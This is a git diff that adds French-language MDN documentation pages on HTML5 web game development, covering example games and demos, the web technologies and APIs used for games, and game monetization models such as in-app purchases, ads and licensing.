Une fois que votre boucle principale a été développée et que vous avez pris vos décisions sur un lot d'hypothèses et de compromis qui conviendront à votre jeu, cela devient juste une question d'utilisation de vos décisions pour calculer n'importe quelle physique applicable, intelligence artificielle, sons, synchronisation réseau, et quoique votre jeu ai besoin.

diff --git a/files/fr/games/examples/index.html b/files/fr/games/examples/index.html new file mode 100644 index 0000000000..363e25ed7a --- /dev/null +++ b/files/fr/games/examples/index.html @@ -0,0 +1,132 @@ +--- +title: Exemples +slug: Jeux/Exemples +tags: + - Demos + - Exemples + - Jeux + - Web +translation_of: Games/Examples +--- +
{{GamesSidebar}}
  {{IncludeSubnav("/fr/docs/Jeux")}}
+ +

Cette page liste un grand nombre de démos de technologies web impressionnantes vous permettant de vous inspirer et de vous amuser. Une preuve de ce qui peut être fait avec Javascript, WebGL et autres. Les deux premières sections listent des jeux tandis que la troisième est une liste de démos de technologies web.

+ +
+
+

Démos/Jeux gratuits

+ +
+
Orpega
+
Jeu de tir massivement multijoueur sur le thème de l'espace en HTML5 / JavaScript sans moteur et NodeJS pour le serveur (http://orpe.ga/)
+
Beloola
+
Plateforme sociale de réalité virtuelle web pour les passionnés. Expérience disponible à la fois sur écrans 2D et casques de réalité virtuelle (Paramètres / Passer en mode VR)
+
Tanx
+
Un jeu de combat de tanks multijoueurs, créé avec PlayCanvas.
+
Hyper Vanguard Force
+
Un "space shooter" (tireur de l'espace) à défilement vertical.
+
Swooop
+
Un jeu d'aviation : contrôle ton avion et récupère les joyaux. Aussi créé avec PlayCanvas.
+
Save the Day
+
Volez à bord de votre hélicoptère de sauvetage vers la zone sinistrée et sauvez les victimes coincées (ga.me).
+
Polycraft
+
Un jeu de survie, explore l'île et bats les monstres.
+
HexGL
+
Un jeu de course futuriste rythmé.
+
Dead Trigger 2
+
Un jeu d'action avec des zombies, créé avec Unity3D.
+
Angry Bots
+
Une démo de jeu de tir futuriste à la 3ème personne, créé avec Unity3D.
+
Nutmeg
+
Jeu de plateforme action rétro.
+
Back to Candyland
+
Un jeu de type Match 3 (Candy Crush).
+
Biolab Disaster
+
Un jeu de plateforme et de tir à défilement horizontal.
+
X-Type
+
Une démo de "space shooter" (tireur de l'espace) à défilement vertical.
+
Xibalba
+
Un jeu rétro de tir à la première personne (Doom-style).
+
Gorescript
+
Un autre jeu rétro de tir à la première personne.
+
The Wizard
+
Un jeu de réflexion au tour par tour.
+
Hextris
+
Un jeu de réflexion hexagonal ressemblant à Tetris.
+
2048
+
Un jeu de réflexion où il faut faire glisser des tuiles.
+
BananaBread
+
Un jeu de tir à la première personne en 3D développé en utilisant Emscripten, WebGL et WebRTC.
+
Monster Madness
+
Un jeu de tir multijoueur en ligne développé par "Nom Nom Games" et "Trendy entertainment" en utilisant WebGL et asm.js.
+
Auralux
+
Un jeu de stratégie basé sur WebGL et asm.js : capture tous les soleils pour gagner !
+
BrowserQuest
+
Un MMORPG crée par the Little Workshop et Mozilla.
+
Shoot The Rocks
+
Un jeu de tir solo 2D Canvas, dans le style des classiques Asteroids d' Atari, jeux d' arcade depuis 1979.
+
Star Citadel
+
Une nouvelle version de Star Castle, le classique jeu d'arcade 1980 de Cinematronics, construit avec Canvas 2D.
+
+ +

Jeux payants

+ +
+
Oort Online
+
Un MMO d'exploration, de construction et de bataille (actuellement en développement).
+
A Wizard's Lizard
+
Un RPG d'exploration ressemblant à Zelda.
+
QbQbQb
+
Un jeu de réflexion arcade sur le thème de la science fiction.
+
Elliot Quest
+
Jeu d'aventure rétro aux graphiques 8-bit.
+
RPG MO
+
MMORPG isométrique ayant des similitudes avec RuneScape Classic et Ultima.
+
+
+ +
+

Démos diverses

+ +
+
WaveGL
+
Visualiseur WebGL pour la source de sons.
+
Canvas Airport Simulation
+
Carte animée montrant les avions décollants et atterrissants à l'aéroport avec les itinéraires de vols.
+
Animation Physics
+
Rendu 3D d'un terrain et de voitures utilisant ammo.js pour les calculs physiques.
+
Volumetric Particle Flow
+
Simulation physique de liquides s'écoulant.
+
Explosion and chain reaction
+
Particules explosant et déclenchant d'autres explosions.
+
Canvas generated planet
+
Une ceinture d'astéroides orbitant autour d'une planète.
+
Digital Fireworks
+
Effets d'explosions de feu d'artifice.
+
Autumn
+
Feuilles automnales qui tombent, illuminées par une source lumineuse. Créé avec Three.js.
+
Fire walk with me
+
Effet de nuage de feu flottant.
+
Rainbow Firestorm
+
Des particules de couleur arc-en-ciel, tombant comme de la pluie, rebondissent sur un terrain d'orbes.
+
Crowd Simulation
+
Simulation d'une foule de personnes agitées  voulant rejoindre des directions opposées.
+
SVG Masking Experiment
+
Une machine à rayons X, créée en utilisant un calque SVG.
+
Realistic Water Simulation
+
De l'eau en mouvement, comme les vagues d'un océan.
+
Dungeon demo
+
Scène de donjon basée sur Haxor avec un personnage jouable.
+
Massive Assault tech demo
+
Archipel avec des véhicules militaires futuristes.
+
Flight Stream
+
Globe en 3D avec des itinéraires d'avions simulés.
+
WebGL filters
+
Démo montrant comment WebGL peut être utilisé pour ajouter des effets à des éléments HTML.
+
SVG isometic tiles
+
Génère des tuiles isométriques avec une matrice SVG.
+
ThreeJS App Player
+
Un lecteur dans lequel il est possible de charger et lancer des exemples de Three.js.
+
+
+
diff --git a/files/fr/games/index.html b/files/fr/games/index.html new file mode 100644 index 0000000000..7cd59f447e --- /dev/null +++ b/files/fr/games/index.html @@ -0,0 +1,90 @@ +--- +title: Développement de jeux vidéo +slug: Jeux +tags: + - Applications + - Développement + - Jeux +translation_of: Games +--- +
{{GamesSidebar}}
+ +
+

Les jeux vidéo sont parmi les activités numériques les plus populaires. L'arrivée continue de nouvelles technologies permet de développer encore des jeux de meilleure qualité et plus performants qui peuvent fonctionner dans n'importe quel navigateur respectant les standards du web.

+
+ +

{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}

+ +
+
+

Développement de jeux pour le web

+ +

Bienvenue dans le centre de développement de jeux MDN ! Dans cette zone du site, nous fournissons des ressources pour les développeurs web désireux de développer des jeux. Vous trouverez de nombreux tutoriels et articles techniques dans le menu principal à gauche, alors n'hésitez pas à explorer.

+ +

Nous avons également inclus une section de références afin que vous puissiez facilement trouver des informations sur toutes les API les plus courantes utilisées dans le développement de jeux.

+ +
+

Note: La création de jeux sur le Web s'appuie sur un certain nombre de technologies Web de base telles que HTML, CSS et JavaScript. La Zone "Apprendre" est un bon endroit pour commencer avec les bases.

+
+
+ +
+

Portez des jeux natifs sur le Web

+ +

Si vous êtes un développeur natif (par exemple écrivant des jeux en C ++), et que vous êtes intéressé par la façon dont vous pouvez porter vos jeux sur le Web, vous devriez en apprendre plus sur notre outil Emscripten - c'est un compilateur LLVM vers JavaScript, qui prend le "bytecode LLVM" (par exemple, généré à partir de C / C ++ en utilisant Clang ou un autre langage) et le compile dans asm.js , qui peut être exécuté sur le Web.

+ +

Pour commencer, voir :

+ + +
+
+ +
+
+

Exemples

+ +

Pour une liste d'exemples de jeux, voir notre page exemples. Consultez aussi openwebgames.com pour des ressources et des exemples plus utiles !

+
+
+ +

+ +

Voir aussi

+ +
+
+
+
Build New Games (en)
+
Un site collaboratif avec de nombreux tutoriels concernant le développement de jeux vidéo sur le Web. N'a pas été très actif récemment, mais détient toujours de belles ressources.
+
Creative JS (en)
+
Un ensemble de techniques et d'expérimentations JavaScript, pas nécessairement liées au domaine vidéo-ludique mais qui se révèlent plutôt utiles et impressionnantes. N'a pas été très actif récemment, mais détient toujours de belles ressources.
+
Game programming patterns (en)
+
Un livre en ligne, écrit par Bob Nystrom, qui traite des modèles de programmation dans le contexte du développement de jeux, dans le but d'aider les développeurs de jeux à produire un code plus réussi et plus opérationnel.
+
Gamedev.js Weekly (en)
+
Bulletin hebdomadaire sur le développement de jeux HTML5, envoyé tous les vendredis. Contient les derniers articles, didacticiels, outils et ressources.
+
HTML5 Game Devs Forum (en)
+
Forums pour développeurs, créateurs de "framework" et éditeurs. Posez des questions, obtenez des commentaires, aidez les autres.
+
+
+ +
+
+
HTML5 Game Engine (en)
+
Liste des architectures de jeux HTML5 les plus populaires ainsi que leurs classement, fonctionnalités et exemples.
+
JSBreakouts (en)
+
Comparez les clones JavaScript Breakout dans différents systèmes pour vous aider à choisir le bon pour vous.
+
Tuts+ Game Development (en)
+
Tutoriels et articles sur le developpement de jeux en général.
+
HTML5 Gamedev Starter (en)
+
De quoi démarrer pour les nouveaux développeurs de jeux, une liste organisée de liens vers diverses ressources utiles sur le web.
+
js13kGames (en)
+
Concours de codage JavaScript pour les développeurs de jeux HTML5 avec une limite de taille de fichier fixée à 13 kilo-octets. Tous les jeux soumis sont disponibles sous forme lisible sur GitHub.
+
Mozilla Hacks blog (en)
+
Catégorie Jeux sur le blog "Hacks" de Mozilla contenant des articles connexes intéressants.
+
+
+
diff --git a/files/fr/games/index/index.html b/files/fr/games/index/index.html new file mode 100644 index 0000000000..5253f58521 --- /dev/null +++ b/files/fr/games/index/index.html @@ -0,0 +1,10 @@ +--- +title: Index +slug: Jeux/Index +tags: + - Meta +translation_of: Games/Index +--- +
{{GamesSidebar}}
{{IncludeSubnav("/fr/docs/Jeux")}}
+ +

{{Index("/fr/docs/Jeux")}}

diff --git a/files/fr/games/introduction/index.html b/files/fr/games/introduction/index.html new file mode 100644 index 0000000000..8a6c2686a5 --- /dev/null +++ b/files/fr/games/introduction/index.html @@ -0,0 +1,127 @@ +--- +title: Introduction au développement de jeux vidéo +slug: Jeux/Introduction +tags: + - Firefox OS + - Guide + - Jeux + - Mobile +translation_of: Games/Introduction +--- +
{{GamesSidebar}}
+ +

  {{IncludeSubnav("/fr/docs/Jeux")}}  

+ +
Le Web d'aujourd'hui est désormais une plate-forme viable pour créer des jeux époustouflants et de bonne qualité, mais aussi et surtout pour distribuer ces jeux.
+ +
 
+ +
Imaginez tous les jeux qui peuvent être créés...
+ +

Grâce aux technologies web actuelles et aux navigateurs récents, il est tout à fait possible de créer un jeu excellent pour le Web. Et nous ne parlons pas ici de jeux de cartes ou de jeux sociaux multi-joueurs déjà créés il y a longtemps, avec Flash®, mais bien de jeux de tirs en 3D, de RPG etc. Grâce aux améliorations des performances des compilateurs juste-à-temps JavaScript et aux nouvelles APIs, vous pouvez construire des jeux vidéo qui fonctionnent dans un navigateur (ou sur des plateformes HTML5 comme Firefox OS) sans compromettre les performances.

+ +

La plateforme HTML5 pour les jeux

+ +

Le Web peut vraiment se concevoir comme une plateforme pour les jeux : "le Web est la plateforme". La liste qui suit présente les technologies au cœur de celle-ci.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitésTechnologie
AudioWeb Audio API
GraphismeWebGL (OpenGL ES 2.0)
Mécanismes d'interface utilisateurÉvénements tactiles, Gamepad API, capteurs, WebRTC, Full Screen API, Pointer Lock API
LangageJavaScript (ou C/C++ utilisé avec Emscripten pour être compilé en JavaScript)
RéseauWebRTC et/ou les WebSockets
StockageIndexedDB ou le "cloud"
WebHTML, CSS, SVG, Social API (et plus encore...)
+ +

 

+ +

L'aspect commercial

+ +
En tant que développeur de jeux vidéo, que vous soyez seul ou fassiez partie d'un studio plus grand, vous voulez savoir pourquoi le Web serait pertinent pour votre prochain jeu. Nous verrons ici en quoi le Web peut vous aider :
+ +

 

+ +
    +
  1. +
    La portée du Web est phénoménale : il est partout. Les jeux construits avec HTML5 peuvent fonctionner sur les smartphones, les tablettes, les PCs et les télévisions connectées.
    +
    2. +
  2. La visibilité de votre jeu et le marketing en sont améliorés. En effet, la promotion de votre jeu n'est pas limitée à un "app store" (magasin d'applications) maîtrisé par quelqu'un d'autre. Vous pouvez tout à fait promouvoir et faire la publicité de votre jeu sur le Web lui-même comme sur d'autres médias. Les liens, les partages effectués sur le Web sont autant d'avantages pour atteindre de nouveaux utilisateurs.
    3. +
  3. Vous disposez d'un contrôle à un endroit important : les paiements. Il n'est pas nécessaire pour vous de reverser 30% de vos revenus à  d'autres simplement parce que votre jeu fait partie de leur écosystème. Vous pouvez décider de votre propre politique tarifaire et utiliser le service de paiement que vous voulez.
    4. +
  4. Le contrôle, encore. Vous pouvez mettre à jour votre jeu dès que vous le souhaitez. Vous n'avez pas à attendre l'approbation de quelqu'un d'une autre entreprise décidant si oui ou non tel ou tel correctif sera livré aujourd'hui ou demain.
    5. +
  5. L'analytique. Plutôt que de vous reposer sur des décisions et influences externes quant aux données dont vous avez besoin, vous pouvez collecter les statistiques que vous voulez, ou bien utiliser un outil analytique tiers de votre choix afin de mesurer les ventes et la portée de votre jeu.
    6. +
  6. Vous pouvez gérer la relation clientèle de façon plus directe, sans que les retours des clients soient limités aux mécanismes d'un magasin d'application. Soyez directement au contact de vos clients, sans intermédiaire.
    7. +
  7. Le Web est partout et vos joueurs peuvent donc jouer où bon leur semble : leurs téléphones, tablettes, ordinateurs de bureau ou portables...
    8. +
+ +

 

+ +

Les technologies Web pour les développeurs de jeux vidéo

+ +

Pour celles et ceux qui souhaitent plonger dans la technique, voici la liste des APIs et des technologies Web qui vont alimenter votre jeu.

+ +
+
+
Full Screen API
+
Cette API simple permet à votre jeu de fonctionner en plein écran et d'offrir ainsi une expérience plus immersive.
+
Gamepad API
+
Si vous souhaitez que vos joueurs puissent utiliser des manettes ou d'autres contrôleurs pour votre jeu, vous aurez besoin de cette API.
+
HTML et CSS
+
Combinées ensembles, ces deux technologies vous permettent de construire et de mettre en forme l'interface utilisateur de votre jeu. L'élément HTML {{HTMLElement("canvas")}} permet de gérer des graphismes en deux dimensions.
+
HTML audio
+
L'élément HTML {{HTMLElement("audio")}} vous permet de jouer de la musique et des sons. Si vous souhaitez aller plus loin, l'API Web Audio vous offre plus de possibilités de traitement !
+
IndexedDB
+
Une API puissante, permettant de maintenir les données de l'utilsateur stockées sur son ordinateur ou son appareil. Une bonne façon de sauvegarder l'état d'un jeu ou autre information localement de telle sorte qu'elle ne sera pas téléchargée à chaque fois qu'on aura besoin d'elle. Aussi utile pour rendre le jeu utilisable même quand le joueur n'est pas connecté à internet (comme durant un long vol en avion...).
+
JavaScript
+
JavaScript, est un langage de programmation utilisé sur internet. Il a d'excellentes performances sur les navigateurs modernes et est sans cesse amélioré. Utilisez sa puissance pour coder vos jeux, ou regardez son utilisation dans des technologies comme Emscripten ou Asm.js pour porter facilement vos jeux existants.
+
Pointer Lock API
+
L'API Pointer Lock vous permet de bloquer la souris ou tout autre appareil de pointage à l'intérieur de l'interface de votre jeu, de telle sorte qu'au lieu de recevoir une position absolue du pointeur vous recevrez le delta des coordonnées. Ce qui vous donne une mesure plus précise de ce que fait l'utilisateur, mais aussi l'empêche d'envoyer accidentellement ses entrées ailleurs pour ne pas manquer des actions importantes.
+
SVG (Scalable Vector Graphics)
+
Vous permet de créer des graphiques vectoriels dont l'échelle est fluide, quelle que soit la taille ou la résolution de l'affichage de l'utilisateur.
+
Typed Arrays
+
Les tableaux typés JavaScript vous donnent accès à des données binaires brutes depuis JavaScript ; cela vous permet de manipuler des textures GL, des données de jeu ou tout autre chose, même si ce n'est pas dans un format JavaScript natif.
+
Web Audio API
+
Cette API pour contrôler la lecture, la synthèse et la manipulation de l'audio à partir du code JavaScript vous permet de créer des effets sonores impressionnants, de jouer et de manipuler de la musique en temps réel.
+
WebGL
+
Vous permet de créer à partir de contenu internet des graphismes de hautes performances, avec l'accélération matérielle de graphisme 3D (et 2D). C'est une implémentation qui permet la prise en charge web de OpenGL ES 2.0.
+
WebRTC
+
L'API WebRTC (Real-Time Communications) vous donne le pouvoir de contrôler les données audio et vidéo, y compris la téléconférence, et de transmettre des données d'applications aux utilisateurs et entre utilisateurs. Vous voulez que vos joueurs discutent lorsqu'ils explosent des monstres ? Cette API est faite pour vous.
+
WebSockets
+
L'API WebSocket vous permet de connecter votre application ou site à un serveur pour transmettre des données en temps réel. Parfait pour les jeux d'action multi-joueurs, services de "chat" (discussion) et autres.
+
Web Workers
+
Les "Workers" vous donnent la possibilité de créer des routines qui tournent en arrière-plan avec leur propre code javascript, pour prendre avantage des processeurs multi-core modernes.
+
XMLHttpRequest and File API
+
La combinaison de XMLHttpRequest et de l'API File vous permet d'envoyer et de recevoir toutes les sortes de données que vous voulez (ne vous fiez pas au "XML" dans son nom !) depuis un serveur Web. Il s'agit d'une bonne façon de réaliser diverses choses comme télécharger de nouveaux niveaux du jeu et les éléments de graphismes ou encore transmettre (pas en temps réel) les informations de l'état du jeu vers votre serveur.
+
+
+ +

 

diff --git a/files/fr/games/introduction_to_html5_game_development/index.html b/files/fr/games/introduction_to_html5_game_development/index.html new file mode 100644 index 0000000000..e18d9517f8 --- /dev/null +++ b/files/fr/games/introduction_to_html5_game_development/index.html @@ -0,0 +1,106 @@ +--- +title: Introduction au développement de jeux HTML5 (résumé) +slug: Jeux/Introduction_to_HTML5_Game_Gevelopment_(summary) +tags: + - Firefox OS + - HTML5 + - Jeux + - Mobile +translation_of: Games/Introduction_to_HTML5_Game_Development_(summary) +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +
+

Avantages

+ +
    +
  1. Les jeux construits avec HTML5 fonctionnent sur les smartphones, les tablettes, les PC et les téléviseurs intelligents.
    2. +
  2. Annoncez et promouvez votre jeu sur le Web, ainsi que sur d'autres médias.
    3. +
  3. Paiements. Chargez ce que vous voulez et utilisez le service de traitement des paiements de votre choix.
    4. +
  4. Mettez à jour votre jeu quand vous le souhaitez.
    5. +
  5. Collectez vos propres analyses !
    6. +
  6. Connectez-vous plus étroitement avec vos clients,
    7. +
  7. Les joueurs peuvent jouer au jeu n'importe où, n'importe quand.
    8. +
+ +

Technologies Web

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionTechnologie
AudioWeb Audio API
GraphiqueWebGL (OpenGL ES 2.0)
InputÉvénements tactiles, Utiliser l'API Gamepad, capteurs de l'appareil , L'API WebRTC, Utiliser le mode plein écran, Pointer Lock API
LanguageJavaScript (ou C/C++  utilisant Emscripten pour compiler en JavaScript )
NetworkingWebRTC et/ou WebSockets
StockageIndexedDB  ou le "cloud"
WebHTML, CSS, SVG, Social API ( et beaucoup plus! )
+ +
+
+
API plein écran
+
Gameplay en plein écran.
+
API Gamepad
+
Utilisez des manettes ou d'autres contrôleurs de jeu.
+
HTML et CSS
+
Créez, stylisez et aménagez l'interface utilisateur de votre jeu.
+
Audio HTML
+
Jouez facilement des effets sonores et de la musique simplement.
+
IndexedDB
+
Stockez les données utilisateur sur leur propre ordinateur ou appareil.
+
JavaScript
+
Langage de programmation Web rapide pour écrire le code de votre jeu.
+ Pour porter facilement vos jeux existants Emscripten ou Asm.js
+
API de verrouillage de pointeur
+
Verrouillez la souris ou tout autre périphérique de pointage dans l'interface de votre jeu.
+
SVG (Scalable Vector Graphics)
+
Créez des graphiques vectoriels qui évoluent en douceur, quelle que soit la taille ou la résolution de l'écran de l'utilisateur.
+
Tableaux typés
+
Accédez aux données binaires brutes depuis JavaScript; Manipulez les textures GL, les données de jeu ou tout autre chose.
+
API Web Audio
+
Contrôlez la lecture, la synthèse et la manipulation de l'audio en temps réel.
+
WebGL
+
Créez des graphiques 3D (et 2D) haute performance à accélération matérielle. OpenGL ES 2.0.
+
WebRTC
+
Communications en temps réel pour contrôler les données audio et vidéo, y compris la téléconférence et la transmission d'autres données d'application entre deux utilisateurs comme le chat.
+
WebSockets
+
Connectez votre application ou votre site à un serveur pour transmettre des données en temps réel. Parfait pour l'action de jeu multijoueur, les services de chat, etc.
+
Web Workers
+
Créez des threads d'arrière-plan exécutant leur propre code JavaScript pour les processeurs multicœurs.
+
XMLHttpRequest et File API
+
Envoyez et recevez tout type de données que vous souhaitez à partir d'un serveur Web, comme le téléchargement de nouveaux niveaux de jeu et d'illustrations pour transmettre des informations sur l'état du jeu non en temps réel dans les deux sens.
+
+
diff --git a/files/fr/games/publishing_games/game_monetization/index.html b/files/fr/games/publishing_games/game_monetization/index.html new file mode 100644 index 0000000000..05c6512a27 --- /dev/null +++ b/files/fr/games/publishing_games/game_monetization/index.html @@ -0,0 +1,100 @@ +--- +title: Monétisation du jeu +slug: Jeux/Publier_jeux/Game_monetization +tags: + - Games + - HTML5 + - JavaScript + - Jeux + - Licence + - Monétisation + - annonces + - iap + - image de marque +translation_of: Games/Publishing_games/Game_monetization +--- +
{{GamesSidebar}}
+ +

Lorsque vous avez passé votre temps à créer un jeu, à le distribuer et à en faire la promotion, vous devriez envisager d'en gagner de l'argent. Si votre travail est une entreprise sérieuse sur la voie de devenir un développeur de jeux indépendant capable de gagner sa vie, lisez la suite et voyez quelles sont vos options. La technologie est suffisamment mature; maintenant, il s'agit simplement de choisir la bonne approche.

+ +

Jeux payants

+ +

Le premier choix, le plus évident qui vous vient à l'esprit pourrait être de vendre les jeux de la même manière que pour d'énormes titres AAA — avec un prix initial fixe. Même si le marché numérique est essentiel et que vous n'avez pas besoin d'imprimer des couvertures et de placer votre jeu dans un magasin physique dans des boîtes, pour gagner de l'argent décent en vendant vos jeux à un prix fixe, vous devez investir votre temps et votre argent dans le marketing.

+ +

Le prix que vous facturez pour votre jeu dépend du marché, de la qualité de votre jeu et de nombreux autres petits facteurs. Un titre arcade iOS peut être vendu pour 0.99 USD, mais un jeu de bureau plus long de style RPG sur Steam peut coûter 20 USD; les deux prix sont corrects. Vous devez suivre le marché et faire vos propres recherches — apprendre rapidement de vos erreurs est important.

+ +

Achats dans l'application

+ +

Au lieu de faire payer votre jeu à l'avance, vous pouvre proposer un jeu gratuit avec des achats intégrés (IAPs). Dans ce cas, le jeu peut être acquis sans dépenser un centime — donnez le jeu aux joueurs, mais offrez de la monnaie du jeu, des bonus ou des avantages en argent réel. Des exemples spécifiques peuvent inclure des niveaux bonus, de meilleurs armes ou sorts, ou le remplissage de l'énergie nécessaire pour jouer. Concevoir un bon système IAP est un art en soi.

+ +

N'oubliez pas que vous avez besoin de milliers de téléchargements de votre jeu pour rendre les IAP efficaces — seule une petite fraction des joueurs paiera réellement pour les IAP. Comment petit? Cela varie, mais environ une personne sur mille est dans la moyenne. Plus il y a de personnes qui jouent à votre jeu, plus les chances que quelqu'un paie est élevée, donc vos revenus dépendent fortement de vos activités de promotion.

+ +

Freemium

+ +

Les jeux qui comportent des IAP sont souvent appelés freemium ou free-to-play — un jeu freemium peut être acquis et joué gratuitement, mais vous pouvez payer pour des fonctionnalités supplémentaires (premium), des biens virtuels ou d'autres avantages. Le mot lui-même a acquis des connotations négatives après que les grandes entreprises se soient concentrées sur la création de jeux, dont le but principal était d'obtenir autant d'argent que possible des joueurs au lieu de proposer une expérience amusante. Les pires cas étaient lorsque vous pouviez utiliser de l'argent réel pour payer pour obtenir des avantages par rapport aux autres joueurs, ou lorsqu'ils restreignaient l'accès aux étapes suivantes du jeu à moins que les joueurs ne paient. Le terme «pay to win» a été inventé et cette approche n'est pas appréciée par de nombreux joueurs et développeurs. Si vous souhaitez mettre en œuvre des IAP, essayez d'ajouter de la valeur au jeu avec quelque chose que les joueurs apprécieront au lieu de le retirer et de le facturer.

+ +

Add-ons et DLCs

+ +

Les Add-ons et les DLCs sont un bon moyen de fournir une valeur supplémentaire à un jeu déjà sorti, mais n'oubliez pas que vous devrez proposer un contenu décent et divertissant pour attirer les gens à l'acheter. Un tout nouvel ensemble de niveaux avec de nouveaux personnages, de nouvelles armes et une nouvelle histoire est un bon matériau pour le DLC, mais pour avoir suffisamment de ventes, le jeu lui-même doit être populaire, sinon aucun joueur ne voudra dépenser son argent durement gagné.

+ +

Advertisements

+ +

Au lieu de vendre activement les jeux, vous pouvez également essayer de vous procurer un revenu passif — afficher des publicités et s'appuyer sur des activités précédentes liées à la promotion de votre jeu peut en bénéficier, mais votre jeu doit crée une dépendance, ce qui n'est pas aussi facile qu'il y paraît. Vous devez encore le planifier, et à un moment donné vous aurez également besoin d'un peu de chance. Si votre jeu devient viral et que les gens commencent à le partager, vous pouvez obtenir beaucoup de téléchargements et d'argent grâce aux publicités.

+ +

De nombreuses entreprises proposent des systèmes de publicité - vous vous inscrivez et leur permettez de diffuser des publicités en échange d'un pourcentage des revenus. On dit que Google AdSense est le plus efficace, mais il n'est pas conçu pour les jeux et c'est une très mauvaise pratique de l'utiliser à cette fin. Au lieu de risquer de fermer votre compte et de bloquer tout l'argent, essayez d'utiliser les portails habituels ciblés par gamedev comme LeadBolt. Ils offrent des systèmes faciles à mettre en œuvre pour afficher les publicités dans vos jeux et partager les gains avec vous.

+ +

Les publicités vidéo sont de plus en plus populaires, en particulier sous la forme d'un pré-roll - elles sont diffusées au début de votre jeu pendant son chargement. Et pour savoir où placer les publicités dans votre jeu, cela dépend vraiment de vous. Il doit être aussi subtil que possible pour ne pas trop gêner les joueurs, mais suffisamment visible pour les faire cliquer ou du moins en prendre note. L'ajout de publicités entre les sessions de jeu sur les écrans de jeu est une approche populaire.

+ +

Licence

+ +

Il existe une approche qui peut fonctionner comme un modèle de monétisation à elle seule, et qui consiste à vendre des licences pour la distribution de votre jeu. Il y a de plus en plus de portails intéressés à montrer vos jeux sur leurs sites Web. Ils suivent diverses stratégies pour gagner de l'argent via vos jeux, mais vous n'avez pas à vous soucier de tout cela car la vente de la licence est généralement une transaction unique. Vous obtenez de l'argent et ils peuvent faire preuve de créativité en utilisant votre jeu pour gagner de l'argent.

+ +

Trouver des éditeurs peut être difficile au début — esssayez de les rechercher sur les forums HTML5 Gamedevs. Si vous êtes bien connu, ils peuvent vous contacter. La plupart des offres sont conclues par e-mail lorsque vous parlez à une personne dédiée du côté de l'éditeur. Certains sites Web d'éditeurs ont ces informations facilement disponibles, tandis que d'autres sont plus difficiles à trouver. Lorsque vous atteignez un éditeur, essayez d'être gentil et direct - ce sont des gens occupés.

+ +

Licences exclusives

+ +

La licence exclusive est un type de licence pour un éditeur — vous avez créé un jeu et vous en vendez tous les droits à une seule entité ainsi que les droits de le redistribuer — Softgames est un exemple d'un tel éditeur. Vous ne pouvez pas le revendre sous quelque forme que ce soit tant que l'éditeur en a les droits - c'est pourquoi les accords exclusifs valent beaucoup d'argent. Combien exactement? Cela dépend de la qualité du jeu, de son genre, de son éditeur et de bien d'autres, mais généralement, ce sera entre 2000 et 5000 USD. Une fois que vous avez vendu une licence exclusive, vous pouvez oublier la promotion de ce jeu particulier car vous ne gagnerez pas plus, alors ne concluez un tel accord que si vous êtes sûr qu'il est suffisamment rentable.

+ +

Licences non exclusives

+ +

Cette approche est moins stricte - vous pouvez vendre une licence à plusieurs éditeurs. C'est l'approche la plus populaire car avec chaque nouvel éditeur (et ils apparaissent constamment), vous pouvez vendre vos jeux à des conditions non exclusives. N'oubliez pas qu'avec cette licence, l'éditeur ne peut pas la redistribuer davantage - cela s'appelle souvent un accord verrouillé sur le site, car il achète le droit de publier le jeu sur son propre portail. Le coût habituel d'une licence non exclusive est d'environ 500 USD.

+ +

Abonnements

+ +

Il existe également une option pour obtenir un revenu mensuel passif via un abonnement. Au lieu d'obtenir un paiement unique, vous pouvez obtenir une petite somme d'argent par jeu, par mois - cela peut représenter environ 20 à 50 USD par mois et par jeu. C'est normalement à vous de décider si vous voulez obtenir tout l'argent en une somme forfaitaire ou l'obtenir par mois. N'oubliez pas qu'il peut être annulé, ce n'est donc pas une solution qui fonctionne indéfiniment.

+ +

Revenus publicitaires

+ +

Vous pouvez implémenter vous-même des publicités dans votre jeu et essayer de trouver le trafic pour gagner un peu, mais vous pouvez également conclure un accord de partage des revenus avec un éditeur. Ils se chargeront de gérer le trafic et partageront les gains - généralement dans un accord 70/30 ou 50/50, collecté par mois.

+ +

N'oubliez pas que de nombreux nouveaux éditeurs de mauvaise qualité voudront obtenir votre jeu pour des revenus publicitaires au lieu de l'octroi de licences, car cela leur coûtera moins cher et vous pourriez vous retrouver avec des revenus d'environ 2 USD par jeu pour l'ensemble de la transaction. Soyez prudent lorsque vous traitez avec de nouveaux éditeurs - il est parfois préférable de réduire le coût de la licence pour un éditeur connu plutôt que de risquer une fraude avec un éditeur inconnu pour plus d'argent.

+ +

Les éditeurs prenant vos jeux pour le partage des revenus et / ou l'octroi de licences peuvent nécessiter la mise en œuvre de leurs propres API, ce qui peut demander un travail supplémentaire, alors considérez cela également dans vos tarifs.

+ +

L'image de marque

+ +

Vous pouvez vendre les droits d'utilisation de votre jeu à des fins de branding ou le faire vous-même. Dans le premier cas, c'est presque comme une licence non exclusive, mais le client achètera généralement les droits pour le code et implémentera ses propres graphiques. Dans le second cas, c'est comme un accord indépendant, mais vous réutilisez le code et ajoutez des graphiques fournis par le client, parfois en les implémentant comme il vous le demande. Par exemple, si vous avez un jeu dans lequel un joueur tape des aliments, vous pouvez changer la nourriture des produits du client pour leur faire de la publicité. Les prix de ce modèle varient considérablement en fonction de la marque, du client et de la quantité de travail que vous effectuez.

+ +

Autres stratégies de monétisation non axées sur le jeu

+ +

Il existe d'autres façons de gagner de l'argent lors de la création de jeux HTML5, et cela n'a même pas besoin d'être lié au jeu.

+ +

Vendre des ressources

+ +

Si vous êtes graphiste, vous pouvez vendre les actifs des jeux que vous avez créés ou quelque chose de nouveau exclusivement à cette fin dans des boutiques en ligne comme Envato Market. Ce n'est pas beaucoup, mais si vous êtes un designer connu, cela peut être un flux de revenus passif supplémentaire.

+ +

Rédaction d'articles et de tutoriels

+ +

Il est possible d'écrire des articles sur vos jeux et même d'être payé pour eux. La promotion et la monétisation de jeux en même temps sont gagnant-gagnant, et si vous n'en abusez pas avec trop de publicité, les lecteurs apprécieront de les lire et d'apprendre une chose ou deux. Si vous vous concentrez d'abord sur le partage des connaissances et que vous utilisez vos jeux comme des exemples, cela devrait être correct. Consultez Tuts+ Game Development ou des sites Web similaires pour des opportunités d'écriture.

+ +

Marchandise

+ +

